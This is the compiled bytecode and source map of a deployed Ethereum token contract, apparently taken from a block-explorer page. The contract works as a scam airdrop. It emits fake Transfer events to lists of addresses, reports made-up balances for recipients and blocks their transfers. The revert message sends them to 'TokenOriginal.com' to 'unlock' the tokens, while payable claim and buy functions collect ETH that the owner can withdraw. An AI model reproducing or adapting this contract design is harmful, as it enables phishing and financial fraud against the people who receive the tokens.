0x60806040526004361061020f5760003560e01c80637d17028311610118578063a9059cbb116100a0578063ced4138a1161006f578063ced4138a1461059c578063d69b197f146105b2578063dd62ed3e146105f6578063f2fde38b1461063c578063fc8847121461065c57600080fd5b8063a9059cbb14610530578063af5f65ee14610550578063c0fe1af814610566578063c465a3db1461058657600080fd5b80639d5f9dfb116100e75780639d5f9dfb146104b15780639dc29fac146104c7578063a457c2d7146104da578063a5500c30146104fa578063a695cb7f1461051a57600080fd5b80637d170283146104485780638da5cb5b1461045e578063933fe6601461048657806395d89b411461049c57600080fd5b8063395093511161019b57806354aeebe41161016a57806354aeebe4146103ca5780636643ef9f146103e057806370a08231146103f3578063715018a61461041357806376f25a841461042857600080fd5b806339509351146103355780634a7781d9146103555780634d1d03d11461036b578063512d7cfd146103b757600080fd5b806315d8f7e4116101e257806315d8f7e4146102a057806318160ddd146102c45780631dc4f9ea146102d957806323b872dd146102f9578063313ce5671461031957600080fd5b806301e3366714610214578063069f5bdd1461022957806306fdde031461025e578063095ea7b314610280575b600080fd5b61022761022236600461149c565b610672565b005b34801561023557600080fd5b50610249610244366004611449565b6107fc565b60405190151581526020015b60405180910390f35b34801561026a57600080fd5b506102736108a6565b6040516102559190611688565b34801561028c57600080fd5b5061024961029b3660046114d7565b610938565b3480156102ac57600080fd5b506102b660015481565b604051908152602001610255565b3480156102d057600080fd5b50600e546102b6565b3480156102e557600080fd5b506102276102f436600461164e565b61094e565b34801561030557600080fd5b5061024961031436600461149c565b610994565b34801561032557600080fd5b5060405160088152602001610255565b34801561034157600080fd5b506102496103503660046114d7565b610a3e565b34801561036157600080fd5b506102b6600b5481565b34801561037757600080fd5b50600654600754600854600954600a54600b54604080519687526020870195909552938501929092526060840152608083015260a082015260c001610255565b6102276103c5366004611500565b610a7a565b3480156103d657600080fd5b506102b660045481565b6102496103ee366004611449565b610b3b565b3480156103ff57600080fd5b506102b661040e366004611449565b610c0d565b34801561041f57600080fd5b50610227610c56565b34801561043457600080fd5b5061022761044336600461161d565b610c8c565b34801561045457600080fd5b506102b660095481565b34801561046a57600080fd5b506000546040516001600160a01b039091168152602001610255565b34801561049257600080fd5b506102b660065481565b3480156104a857600080fd5b50610273610ccf565b3480156104bd57600080fd5b506102b6600a5481565b6102276104d53660046114d7565b610cde565b3480156104e657600080fd5b506102496104f53660046114d7565b610d16565b34801561050657600080fd5b506102276105153660046115ed565b610da5565b34801561052657600080fd5b506102b660025481565b34801561053c57600080fd5b5061024961054b3660046114d7565b610dd4565b34801561055c57600080fd5b506102b660085481565b34801561057257600080fd5b506102276105813660046115ed565b610de1565b34801561059257600080fd5b506102b660035481565b3480156105a857600080fd5b506102b660075481565b3480156105be57600080fd5b50600154600254600354600454600554604080519586526020860194909452928401919091526060830152608082015260a001610255565b34801561060257600080fd5b506102b661061136600461146a565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561064857600080fd5b50610227610657366004611449565b610e3a565b34801561066857600080fd5b506102b660055481565b6000546001600160a01b031633146106a55760405162461bcd60e51b815260040161069c906116db565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b1580156106e757600080fd5b505afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f9190611605565b90508161072a578091505b60008211801561073a5750818110155b6107735760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b604482015260640161069c565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156107bd57600080fd5b505af11580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906115cd565b5050505050565b6000436001541115801561081257506002544311155b61081b57600080fd5b600354600454108061082d5750600354155b61083657600080fd5b60048054906000610846836117b9565b9091555050336001600160a01b0383161480159061086b575061086882610c0d565b15155b801561087f57506001600160a01b03821615155b15610891576108913083600554610ed5565b61089e3033600554610ed5565b506001919050565b6060601180546108b59061177e565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061177e565b801561092e5780601f106109035761010080835404028352916020019161092e565b820191906000526020600020905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b6000610945338484611163565b50600192915050565b6000546001600160a01b031633146109785760405162461bcd60e51b815260040161069c906116db565b600694909455600792909255600a55600b556008556000600955565b60006109a1848484610ed5565b6001600160a01b0384166000908152600d6020908152604080832033845290915290205482811015610a265760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161069c565b610a338533858403611163565b506001949350505050565b336000818152600d602090815260408083206001600160a01b03871684529091528120549091610945918590610a75908690611710565b611163565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161069c906116db565b60005b8251811015610b3657828181518110610ad057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b1c91815260200190565b60405180910390a380610b2e816117b9565b915050610aa7565b505050565b60004360065411158015610b5157506007544311155b610b5a57600080fd5b6008546009541080610b6c5750600854155b610b7557600080fd5b60003490506000670de0b6b3a764000082600b54610b939190611748565b610b9d9190611728565b600980549192506000610baf836117b9565b9091555050336001600160a01b03851614801590610bd45750610bd184610c0d565b15155b8015610be857506001600160a01b03841615155b15610bf857610bf8308583610ed5565b610c03303383610ed5565b5060019392505050565b6001600160a01b03811660009081526010602052604081205460ff16610c35575050600f5490565b506001600160a01b03166000908152600c602052604090205490565b919050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161069c906116db565b610c8a6000611288565b565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161069c906116db565b6001939093556002919091556005556003556000600455565b6060601280546108b59061177e565b6000546001600160a01b03163314610d085760405162461bcd60e51b815260040161069c906116db565b610d1282826112d8565b5050565b336000908152600d602090815260408083206001600160a01b038616845290915281205482811015610d985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161069c565b610c033385858403611163565b6000546001600160a01b03163314610dcf5760405162461bcd60e51b815260040161069c906116db565b600f55565b6000610945338484610ed5565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b815260040161069c906116db565b6040513390819083156108fc029084906000818181858888f19350505050158015610b36573d6000803e3d6000fd5b6000546001600160a01b03163314610e645760405162461bcd60e51b815260040161069c906116db565b6001600160a01b038116610ec95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161069c565b610ed281611288565b50565b6001600160a01b038316610f395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069c565b6001600160a01b038216610f9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069c565b6001600160a01b03831660009081526010602052604090205460ff166110465760405162461bcd60e51b815260206004820152605460248201527f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560448201527f666f7265207472616e736665722e566973697420546f6b656e4f726967696e616064820152736c2e636f6d20666f72206d6f726520696e666f2760601b608482015260a40161069c565b6001600160a01b0383166000908152600c6020526040902054818110156110be5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161069c565b6001600160a01b038085166000908152600c60205260408082208585039055918516815290812080548492906110f5908490611710565b90915550506001600160a01b0380841660008181526010602052604090819020805460ff191660011790555190918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111559086815260200190565b60405180910390a350505050565b6001600160a01b0383166111c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069c565b6001600160a01b0382166112265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069c565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166113385760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161069c565b6001600160a01b0382166000908152600c6020526040902054818110156113ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161069c565b6001600160a01b0383166000908152600c602052604081208383039055600e80548492906113db908490611767565b90915550506001600160a01b0383166000818152601060209081526040808320805460ff19169055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161127b565b80356001600160a01b0381168114610c5157600080fd5b60006020828403121561145a578081fd5b61146382611432565b9392505050565b6000806040838503121561147c578081fd5b61148583611432565b915061149360208401611432565b90509250929050565b6000806000606084860312156114b0578081fd5b6114b984611432565b92506114c760208501611432565b9150604084013590509250925092565b600080604083850312156114e9578182fd5b6114f283611432565b946020939093013593505050565b60008060408385031215611512578182fd5b823567ffffffffffffffff80821115611529578384fd5b818501915085601f83011261153c578384fd5b8135602082821115611550576115506117ea565b8160051b604051601f19603f83011681018181108682111715611575576115756117ea565b604052838152828101945085830182870184018b1015611593578889fd5b8896505b848710156115bc576115a881611432565b865260019690960195948301948301611597565b509997909101359750505050505050565b6000602082840312156115de578081fd5b81518015158114611463578182fd5b6000602082840312156115fe578081fd5b5035919050565b600060208284031215611616578081fd5b5051919050565b60008060008060808587031215611632578081fd5b5050823594602084013594506040840135936060013592509050565b600080600080600060a08688031215611665578081fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000602080835283518082850152825b818110156116b457858101830151858201604001528201611698565b818111156116c55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611723576117236117d4565b500190565b60008261174357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611762576117626117d4565b500290565b600082821015611779576117796117d4565b500390565b600181811c9082168061179257607f821691505b602082108114156117b357634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117cd576117cd6117d4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220aeeb2e1d7ad55124a9f24bf444888d29a8874d9f6d561f9ce2431400ab82a05d64736f6c63430008040033

Deployed Bytecode Sourcemap

3021:8485:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9057:375;;;;;;:::i;:::-;;:::i;:::-;;9439:461;;;;;;;;;;-1:-1:-1;9439:461:0;;;;;:::i;:::-;;:::i;:::-;;;4749:14:1;;4742:22;4724:41;;4712:2;4697:18;9439:461:0;;;;;;;;4173:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5173:169::-;;;;;;;;;;-1:-1:-1;5173:169:0;;;;;:::i;:::-;;:::i;3070:22::-;;;;;;;;;;;;;;;;;;;10775:25:1;;;10763:2;10748:18;3070:22:0;10730:76:1;4517:108:0;;;;;;;;;;-1:-1:-1;4605:12:0;;4517:108;;11096:255;;;;;;;;;;-1:-1:-1;11096:255:0;;;;;:::i;:::-;;:::i;5533:492::-;;;;;;;;;;-1:-1:-1;5533:492:0;;;;;:::i;:::-;;:::i;4403:92::-;;;;;;;;;;-1:-1:-1;4403:92:0;;4486:1;11961:36:1;;11949:2;11934:18;4403:92:0;11916:87:1;6033:215:0;;;;;;;;;;-1:-1:-1;6033:215:0;;;;;:::i;:::-;;:::i;3354:21::-;;;;;;;;;;;;;;;;10650:216;;;;;;;;;;-1:-1:-1;10815:7:0;;10824;;10833:4;;10839;;10845:6;;10853;;10650:216;;;11566:25:1;;;11622:2;11607:18;;11600:34;;;;11650:18;;;11643:34;;;;11708:2;11693:18;;11686:34;11751:3;11736:19;;11729:35;11795:3;11780:19;;11773:35;11553:3;11538:19;10650:216:0;11520:294:1;8823:226:0;;;;;;:::i;:::-;;:::i;3157:19::-;;;;;;;;;;;;;;;;9906:539;;;;;;:::i;:::-;;:::i;4641:232::-;;;;;;;;;;-1:-1:-1;4641:232:0;;;;;:::i;:::-;;:::i;1709:94::-;;;;;;;;;;;;;:::i;10874:214::-;;;;;;;;;;-1:-1:-1;10874:214:0;;;;;:::i;:::-;;:::i;3298:19::-;;;;;;;;;;;;;;;;1486:87;;;;;;;;;;-1:-1:-1;1532:7:0;1559:6;1486:87;;-1:-1:-1;;;;;1559:6:0;;;4243:51:1;;4231:2;4216:18;1486:87:0;4198:102:1;3211:22:0;;;;;;;;;;;;;;;;4281:104;;;;;;;;;;;;;:::i;3325:21::-;;;;;;;;;;;;;;;;8698:113;;;;;;:::i;:::-;;:::i;6256:413::-;;;;;;;;;;-1:-1:-1;6256:413:0;;;;;:::i;:::-;;:::i;5042:121::-;;;;;;;;;;-1:-1:-1;5042:121:0;;;;;:::i;:::-;;:::i;3100:22::-;;;;;;;;;;;;;;;;5350:175;;;;;;;;;;-1:-1:-1;5350:175:0;;;;;:::i;:::-;;:::i;3271:19::-;;;;;;;;;;;;;;;;11361:142;;;;;;;;;;-1:-1:-1;11361:142:0;;;;;:::i;:::-;;:::i;3130:19::-;;;;;;;;;;;;;;;;3241:22;;;;;;;;;;;;;;;;10451:191;;;;;;;;;;-1:-1:-1;10601:7:0;;10610;;10619:4;;10625;;10631;;10451:191;;;11070:25:1;;;11126:2;11111:18;;11104:34;;;;11154:18;;;11147:34;;;;11212:2;11197:18;;11190:34;11255:3;11240:19;;11233:35;11057:3;11042:19;10451:191:0;11024:250:1;4883:151:0;;;;;;;;;;-1:-1:-1;4883:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4999:18:0;;;4972:7;4999:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4883:151;1811:192;;;;;;;;;;-1:-1:-1;1811:192:0;;;;;:::i;:::-;;:::i;3184:19::-;;;;;;;;;;;;;;;;9057:375;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;;;;;;;;;9184:45:::1;::::0;-1:-1:-1;;;9184:45:0;;9223:4:::1;9184:45;::::0;::::1;4243:51:1::0;9169:12:0::1;::::0;-1:-1:-1;;;;;9184:30:0;::::1;::::0;::::1;::::0;4216:18:1;;9184:45:0::1;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9169:60:::0;-1:-1:-1;9244:11:0;9240:60:::1;;9281:7;9272:16;;9240:60;9329:1;9320:6;:10;:31;;;;;9345:6;9334:7;:17;;9320:31;9312:54;;;::::0;-1:-1:-1;;;9312:54:0;;7610:2:1;9312:54:0::1;::::0;::::1;7592:21:1::0;7649:2;7629:18;;;7622:30;-1:-1:-1;;;7668:18:1;;;7661:40;7718:18;;9312:54:0::1;7582:160:1::0;9312:54:0::1;9377:47;::::0;-1:-1:-1;;;9377:47:0;;-1:-1:-1;;;;;4497:32:1;;;9377:47:0::1;::::0;::::1;4479:51:1::0;4546:18;;;4539:34;;;9377:29:0;::::1;::::0;::::1;::::0;4452:18:1;;9377:47:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1692:1;9057:375:::0;;;:::o;9439:461::-;9491:12;9534;9523:7;;:23;;:50;;;;;9566:7;;9550:12;:23;;9523:50;9515:59;;;;;;9600:4;;9593;;:11;:24;;;-1:-1:-1;9608:4:0;;:9;9593:24;9585:33;;;;;;9629:4;:7;;;:4;:7;;;:::i;:::-;;;;-1:-1:-1;;9650:10:0;-1:-1:-1;;;;;9650:20:0;;;;;;:46;;;9674:17;9684:6;9674:9;:17::i;:::-;:22;;9650:46;:102;;;;-1:-1:-1;;;;;;9700:52:0;;;;9650:102;9647:169;;;9766:38;9784:4;9791:6;9799:4;;9766:9;:38::i;:::-;9826:42;9844:4;9851:10;9863:4;;9826:9;:42::i;:::-;-1:-1:-1;9886:4:0;;9439:461;-1:-1:-1;9439:461:0:o;4173:100::-;4227:13;4260:5;4253:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4173:100;:::o;5173:169::-;5256:4;5273:39;198:10;5296:7;5305:6;5273:8;:39::i;:::-;-1:-1:-1;5330:4:0;5173:169;;;;:::o;11096:255::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;11223:7:::1;:18:::0;;;;11248:7:::1;:18:::0;;;;11273:6:::1;:16:::0;11296:6:::1;:15:::0;11318:4:::1;:12:::0;-1:-1:-1;11337:4:0::1;:8:::0;11096:255::o;5533:492::-;5673:4;5690:36;5700:6;5708:9;5719:6;5690:9;:36::i;:::-;-1:-1:-1;;;;;5766:19:0;;5739:24;5766:19;;;:11;:19;;;;;;;;198:10;5766:33;;;;;;;;5818:26;;;;5810:79;;;;-1:-1:-1;;;5810:79:0;;8442:2:1;5810:79:0;;;8424:21:1;8481:2;8461:18;;;8454:30;8520:34;8500:18;;;8493:62;-1:-1:-1;;;8571:18:1;;;8564:38;8619:19;;5810:79:0;8414:230:1;5810:79:0;5925:57;5934:6;198:10;5975:6;5956:16;:25;5925:8;:57::i;:::-;-1:-1:-1;6013:4:0;;5533:492;-1:-1:-1;;;;5533:492:0:o;6033:215::-;198:10;6121:4;6170:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6170:34:0;;;;;;;;;;6121:4;;6138:80;;6161:7;;6170:47;;6207:10;;6170:47;:::i;:::-;6138:8;:80::i;8823:226::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;8934:6:::1;8929:113;8946:7;:14;8944:1;:16;8929:113;;;9011:7;9019:1;9011:10;;;;;;-1:-1:-1::0;;;9011:10:0::1;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;8987:43:0::1;9004:4;-1:-1:-1::0;;;;;8987:43:0::1;;9023:6;8987:43;;;;10775:25:1::0;;10763:2;10748:18;;10730:76;8987:43:0::1;;;;;;;;8962:3:::0;::::1;::::0;::::1;:::i;:::-;;;;8929:113;;;;8823:226:::0;;:::o;9906:539::-;9965:12;10004;9993:7;;:23;;:50;;;;;10036:7;;10020:12;:23;;9993:50;9985:59;;;;;;10066:4;;10059;;:11;:24;;;-1:-1:-1;10074:4:0;;:9;10059:24;10051:33;;;;;;10091:12;10106:9;10091:24;;10122:13;10166:7;10158:4;10151:6;;:11;;;;:::i;:::-;10150:23;;;;:::i;:::-;10180:4;:7;;10142:31;;-1:-1:-1;10180:4:0;:7;;;:::i;:::-;;;;-1:-1:-1;;10197:10:0;-1:-1:-1;;;;;10197:20:0;;;;;;:46;;;10221:17;10231:6;10221:9;:17::i;:::-;:22;;10197:46;:102;;;;-1:-1:-1;;;;;;10247:52:0;;;;10197:102;10194:170;;;10317:39;10335:4;10342:6;10350:5;10317:9;:39::i;:::-;10378:43;10396:4;10403:10;10415:5;10378:9;:43::i;:::-;-1:-1:-1;10435:4:0;;9906:539;-1:-1:-1;;;9906:539:0:o;4641:232::-;-1:-1:-1;;;;;4740:18:0;;4715:7;4740:18;;;:9;:18;;;;;;;;4735:131;;-1:-1:-1;;4782:14:0;;;4641:232::o;4735:131::-;-1:-1:-1;;;;;;4836:18:0;;;;;:9;:18;;;;;;;4641:232::o;4735:131::-;4641:232;;;:::o;1709:94::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;1774:21:::1;1792:1;1774:9;:21::i;:::-;1709:94::o:0;10874:214::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;10986:7:::1;:18:::0;;;;11011:7:::1;:18:::0;;;;11036:4:::1;:12:::0;11055:4:::1;:12:::0;-1:-1:-1;11074:4:0::1;:8:::0;10874:214::o;4281:104::-;4337:13;4370:7;4363:14;;;;;:::i;8698:113::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;8781:22:::1;8787:7;8796:6;8781:5;:22::i;:::-;8698:113:::0;;:::o;6256:413::-;198:10;6349:4;6393:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6393:34:0;;;;;;;;;;6446:35;;;;6438:85;;;;-1:-1:-1;;;6438:85:0;;10425:2:1;6438:85:0;;;10407:21:1;10464:2;10444:18;;;10437:30;10503:34;10483:18;;;10476:62;-1:-1:-1;;;10554:18:1;;;10547:35;10599:19;;6438:85:0;10397:227:1;6438:85:0;6559:67;198:10;6582:7;6610:15;6591:16;:34;6559:8;:67::i;5042:121::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;5124:14:::1;:31:::0;5042:121::o;5350:175::-;5436:4;5453:42;198:10;5477:9;5488:6;5453:9;:42::i;11361:142::-;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;11472:23:::1;::::0;11450:10:::1;::::0;;;11472:23;::::1;;;::::0;11488:6;;11417:22:::1;11472:23:::0;11417:22;11472:23;11488:6;11450:10;11472:23;::::1;;;;;;;;;;;;;::::0;::::1;;;;1811:192:::0;1532:7;1559:6;-1:-1:-1;;;;;1559:6:0;198:10;1621:23;1613:68;;;;-1:-1:-1;;;1613:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1900:22:0;::::1;1892:73;;;::::0;-1:-1:-1;;;1892:73:0;;6393:2:1;1892:73:0::1;::::0;::::1;6375:21:1::0;6432:2;6412:18;;;6405:30;6471:34;6451:18;;;6444:62;-1:-1:-1;;;6522:18:1;;;6515:36;6568:19;;1892:73:0::1;6365:228:1::0;1892:73:0::1;1976:19;1986:8;1976:9;:19::i;:::-;1811:192:::0;:::o;6677:777::-;-1:-1:-1;;;;;6817:20:0;;6809:70;;;;-1:-1:-1;;;6809:70:0;;9614:2:1;6809:70:0;;;9596:21:1;9653:2;9633:18;;;9626:30;9692:34;9672:18;;;9665:62;-1:-1:-1;;;9743:18:1;;;9736:35;9788:19;;6809:70:0;9586:227:1;6809:70:0;-1:-1:-1;;;;;6898:23:0;;6890:71;;;;-1:-1:-1;;;6890:71:0;;5586:2:1;6890:71:0;;;5568:21:1;5625:2;5605:18;;;5598:30;5664:34;5644:18;;;5637:62;-1:-1:-1;;;5715:18:1;;;5708:33;5758:19;;6890:71:0;5558:225:1;6890:71:0;-1:-1:-1;;;;;6980:17:0;;;;;;:9;:17;;;;;;;;6972:114;;;;-1:-1:-1;;;6972:114:0;;7949:2:1;6972:114:0;;;7931:21:1;7988:2;7968:18;;;7961:30;8027:34;8007:18;;;8000:62;8098:34;8078:18;;;8071:62;-1:-1:-1;;;8149:19:1;;;8142:51;8210:19;;6972:114:0;7921:314:1;6972:114:0;-1:-1:-1;;;;;7123:17:0;;7099:21;7123:17;;;:9;:17;;;;;;7159:23;;;;7151:74;;;;-1:-1:-1;;;7151:74:0;;7203:2:1;7151:74:0;;;7185:21:1;7242:2;7222:18;;;7215:30;7281:34;7261:18;;;7254:62;-1:-1:-1;;;7332:18:1;;;7325:36;7378:19;;7151:74:0;7175:228:1;7151:74:0;-1:-1:-1;;;;;7261:17:0;;;;;;;:9;:17;;;;;;7281:22;;;7261:42;;7325:20;;;;;;;;:30;;7297:6;;7261:17;7325:30;;7297:6;;7325:30;:::i;:::-;;;;-1:-1:-1;;;;;;;7366:20:0;;;;;;;:9;:20;;;;;;;:27;;-1:-1:-1;;7366:27:0;7389:4;7366:27;;;7411:35;7366:20;;7411:35;;;;;;;7439:6;10775:25:1;;10763:2;10748:18;;10730:76;7411:35:0;;;;;;;;6677:777;;;;:::o;8312:378::-;-1:-1:-1;;;;;8448:19:0;;8440:68;;;;-1:-1:-1;;;8440:68:0;;10020:2:1;8440:68:0;;;10002:21:1;10059:2;10039:18;;;10032:30;10098:34;10078:18;;;10071:62;-1:-1:-1;;;10149:18:1;;;10142:34;10193:19;;8440:68:0;9992:226:1;8440:68:0;-1:-1:-1;;;;;8527:21:0;;8519:68;;;;-1:-1:-1;;;8519:68:0;;6800:2:1;8519:68:0;;;6782:21:1;6839:2;6819:18;;;6812:30;6878:34;6858:18;;;6851:62;-1:-1:-1;;;6929:18:1;;;6922:32;6971:19;;8519:68:0;6772:224:1;8519:68:0;-1:-1:-1;;;;;8598:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8650:32;;10775:25:1;;;8650:32:0;;10748:18:1;8650:32:0;;;;;;;;8312:378;;;:::o;2011:173::-;2067:16;2086:6;;-1:-1:-1;;;;;2103:17:0;;;-1:-1:-1;;;;;;2103:17:0;;;;;;2136:40;;2086:6;;;;;;;2136:40;;2067:16;2136:40;2011:173;;:::o;7799:505::-;-1:-1:-1;;;;;7883:21:0;;7875:67;;;;-1:-1:-1;;;7875:67:0;;9212:2:1;7875:67:0;;;9194:21:1;9251:2;9231:18;;;9224:30;9290:34;9270:18;;;9263:62;-1:-1:-1;;;9341:18:1;;;9334:31;9382:19;;7875:67:0;9184:223:1;7875:67:0;-1:-1:-1;;;;;7980:18:0;;7955:22;7980:18;;;:9;:18;;;;;;8017:24;;;;8009:71;;;;-1:-1:-1;;;8009:71:0;;5990:2:1;8009:71:0;;;5972:21:1;6029:2;6009:18;;;6002:30;6068:34;6048:18;;;6041:62;-1:-1:-1;;;6119:18:1;;;6112:32;6161:19;;8009:71:0;5962:224:1;8009:71:0;-1:-1:-1;;;;;8116:18:0;;;;;;:9;:18;;;;;8137:23;;;8116:44;;8182:12;:22;;8154:6;;8116:18;8182:22;;8154:6;;8182:22;:::i;:::-;;;;-1:-1:-1;;;;;;;8215:18:0;;8236:5;8215:18;;;:9;:18;;;;;;;;:26;;-1:-1:-1;;8215:26:0;;;8259:37;10775:25:1;;;8236:5:0;;8215:18;8259:37;;10748:18:1;8259:37:0;10730:76:1;14:173;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;192:196;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;325:6;317;310:22;272:2;353:29;372:9;353:29;:::i;:::-;343:39;262:126;-1:-1:-1;;;262:126:1:o;393:270::-;461:6;469;522:2;510:9;501:7;497:23;493:32;490:2;;;543:6;535;528:22;490:2;571:29;590:9;571:29;:::i;:::-;561:39;;619:38;653:2;642:9;638:18;619:38;:::i;:::-;609:48;;480:183;;;;;:::o;668:338::-;745:6;753;761;814:2;802:9;793:7;789:23;785:32;782:2;;;835:6;827;820:22;782:2;863:29;882:9;863:29;:::i;:::-;853:39;;911:38;945:2;934:9;930:18;911:38;:::i;:::-;901:48;;996:2;985:9;981:18;968:32;958:42;;772:234;;;;;:::o;1011:264::-;1079:6;1087;1140:2;1128:9;1119:7;1115:23;1111:32;1108:2;;;1161:6;1153;1146:22;1108:2;1189:29;1208:9;1189:29;:::i;:::-;1179:39;1265:2;1250:18;;;;1237:32;;-1:-1:-1;;;1098:177:1:o;1280:1247::-;1373:6;1381;1434:2;1422:9;1413:7;1409:23;1405:32;1402:2;;;1455:6;1447;1440:22;1402:2;1500:9;1487:23;1529:18;1570:2;1562:6;1559:14;1556:2;;;1591:6;1583;1576:22;1556:2;1634:6;1623:9;1619:22;1609:32;;1679:7;1672:4;1668:2;1664:13;1660:27;1650:2;;1706:6;1698;1691:22;1650:2;1747;1734:16;1769:4;1792:2;1788;1785:10;1782:2;;;1798:18;;:::i;:::-;1844:2;1841:1;1837:10;1876:2;1870:9;1939:2;1935:7;1930:2;1926;1922:11;1918:25;1910:6;1906:38;1994:6;1982:10;1979:22;1974:2;1962:10;1959:18;1956:46;1953:2;;;2005:18;;:::i;:::-;2041:2;2034:22;2091:18;;;2125:15;;;;-1:-1:-1;2160:11:1;;;2190;;;2186:20;;2183:33;-1:-1:-1;2180:2:1;;;2234:6;2226;2219:22;2180:2;2261:6;2252:15;;2276:169;2290:2;2287:1;2284:9;2276:169;;;2347:23;2366:3;2347:23;:::i;:::-;2335:36;;2308:1;2301:9;;;;;2391:12;;;;2423;;2276:169;;;-1:-1:-1;2464:6:1;2502:18;;;;2489:32;;-1:-1:-1;;;;;;;1392:1135: